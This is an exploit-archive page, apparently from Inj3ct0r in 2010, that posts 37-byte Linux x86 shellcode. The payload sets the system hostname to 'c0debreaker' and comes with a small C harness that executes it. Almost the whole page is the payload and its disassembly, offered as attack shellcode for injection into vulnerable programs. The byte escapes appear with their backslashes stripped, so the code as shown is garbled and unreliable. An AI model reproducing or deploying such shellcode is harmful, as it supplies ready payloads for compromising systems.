linux/x86 sethostname to "c0debreaker" shellcode 3
Posted on 06 August 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 sethostname to "c0debreaker" shellcode 37 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>========================================================= linux/x86 sethostname to "c0debreaker" shellcode 37 bytes ========================================================= /* Title : sethostname to "c0debreaker" linux shellcode . Name : 37 bytes sethostname to "c0debreaker" linux . Date : Fri Aug 6 21:41:20 2010 Author : gunslinger_ <yudha.gunslinger[at]gmail.com> Web : http://devilzc0de.org blog : http://gunslingerc0de.wordpress.com tested on : linux debian */ #include <stdio.h> char shellcode[] = "xebx13" /* jmp 0x8048075 */ "x31xc0" /* xor %eax,%eax */ "xb0x4a" /* mov $0x4a,%al */ "x5b" /* pop %ebx */ "x31xc9" /* xor %ecx,%ecx */ "xb1x0b" /* mov $0xb,%cl */ "xcdx80" /* int $0x80 */ "x31xc0" /* xor %eax,%eax */ "xb0x01" /* mov $0x1,%al */ "x31xdb" /* xor %ebx,%ebx */ "xcdx80" /* int $0x80 */ "xe8xe8xffxffxff" /* call 0x8048062 */ "x63x30" /* arpl %si,(%eax) */ "x64x65x62x72x65" /* bound %esi,%fs:%gs:0x65(%edx) */ "x61" /* popa */ "x6b" /* .byte 0x6b */ "x65" /* gs */ "x72"; /* .byte 0x72 */ int main(void) { fprintf(stdout,"[*] Shellcode length: %d ",strlen(shellcode)); ((void (*)(void)) shellcode)(); return 0; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-06]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>